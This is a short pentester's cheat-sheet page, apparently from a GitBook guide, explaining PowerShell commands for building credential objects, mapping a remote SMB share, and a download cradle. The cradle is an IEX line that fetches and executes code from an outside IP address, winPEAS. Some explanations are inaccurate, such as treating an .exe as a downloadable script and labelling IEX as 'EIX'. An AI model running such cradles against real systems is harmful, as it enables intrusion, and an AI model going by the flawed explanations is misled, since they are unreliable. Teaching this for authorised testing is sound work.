> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/powershell.md).
# PowerShell
Powershell commands for pentesters and red teamers
Create a secure string object in PowerShell
```
$pass = convertto-securestring 'password' -AsPlainText -Force
```
1. `$pass`: This is a variable declaration in PowerShell. It's creating a variable named `$pass` to store the secure string.
2. `ConvertTo-SecureString`: This is a PowerShell cmdlet used to convert a plain text string into a secure string.
3. `'password'`: This is the plain text string that you want to convert into a secure string. Replace `'password'` with the actual password you want to use.
4. `-AsPlainText`: This is an option or parameter for the `ConvertTo-SecureString` cmdlet. It specifies that the input string should be treated as plain text.
5. `-Force`: This is another parameter for the `ConvertTo-SecureString` cmdlet. It is used to force the conversion even if the string is considered insecure (e.g., if it's not a strong password).
### Create a PSCredential object in powershell
```
New-Object System.Management.Automation.PSCredential('ddrt', $pass)
```
1. `New-Object`: This is a PowerShell cmdlet used to create a new instance of an object.
2. `System.Management.Automation.PSCredential`: This is the type of object being created. In this case, it's a `PSCredential` object, which is designed to hold a username and password for authentication purposes.
3. `('ddrt', $pass)`: This part of the command specifies the parameters for creating the `PSCredential` object. It consists of two elements enclosed in parentheses:
* `'ddrt'`: This is the username or user identity that you want to associate with the `PSCredential` object. Replace `'ddrt'` with the actual username or identity you want to use.
* `$pass`: This is a variable that should contain a secure string. This secure string typically holds the password associated with the username. The `-AsPlainText` and `-Force` parameters you used in the previous command (`ConvertTo-SecureString`) create this secure string. It's important to note that `$pass` should contain the secure string generated from the user's password.
### Creating a new PS drive
```
New-PsDrive -Name ddrt -PSProvider FileSystem -Credential $cred -Root \\10.10.14.8\ddrt
```
1. `New-PsDrive`: This is a PowerShell cmdlet used to create a new PS drive, which is a mapping to a location in a file system, a registry hive, or another data store.
2. `-Name ddrt`: This specifies the name of the new PS drive. In this case, it's named "ddrt."
3. `-PSProvider FileSystem`: This specifies the PS provider to use for the new drive. In this case, it's the "FileSystem" provider, which means that the PS drive will be associated with a file system path.
4. `-Credential $cred`: This parameter allows you to provide credentials for accessing the network resource. "$cred" is typically a PowerShell credential object that holds both a username and password. You would have created this credential object earlier in your script or session. It's used to authenticate and access the network share at \10.10.14.8\ddrt with the provided credentials.
5. `-Root \\10.10.14.8\ddrt`: This specifies the root or starting point of the new PS drive. It's set to the UNC (Universal Naming Convention) path of the network share you want to access, which is "\10.10.14.8\ddrt."
So, when you run this command, it creates a new PS drive named "ddrt" that maps to the network share at "\10.10.14.8\ddrt" using the credentials stored in the variable "$cred." This allows you to interact with the remote network share as if it were a local drive, making it easier to work with files and folders on the remote server from your PowerShell session.
### Creates a new PowerShell credential object and assigns it to the variable
```
$cred = New-Object System.Management.Automation.PSCredential('ddrt', $pass)
```
* `cred`: This is a variable that will hold the newly created credential object.
* `New-Object System.Management.Automation.PSCredential`: This is a PowerShell cmdlet used to create a PSCredential object, which is often used to securely store and pass credentials, such as usernames and passwords.
* `('ddrt', $pass)`: This part of the command specifies the parameters for creating the PSCredential object.
* `'ddrt'` is the username or account name.
* `$pass` is a variable (presumably containing a password) that is used as the secure password for the PSCredential object.
### Downloading files with EIX
```
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26:5555/winpeas.exe')
```
1. `IEX`: This is a shorthand for `Invoke-Expression`, which is used to execute the script or command obtained from the URL you specify.
2. `(New-Object Net.WebClient)`: This part creates a new instance of the `System.Net.WebClient` class. This object is used to download data from a URL.
3. `.DownloadString('http://10.10.14.26:5555/winpeas.exe')`: After creating the `WebClient` object, you call the `DownloadString` method with the URL of the script you want to download and execute. In your case, it's fetching a script (`winpeas.exe`) from `http://10.10.14.26:5555`.
### The Powershell cheat-sheet
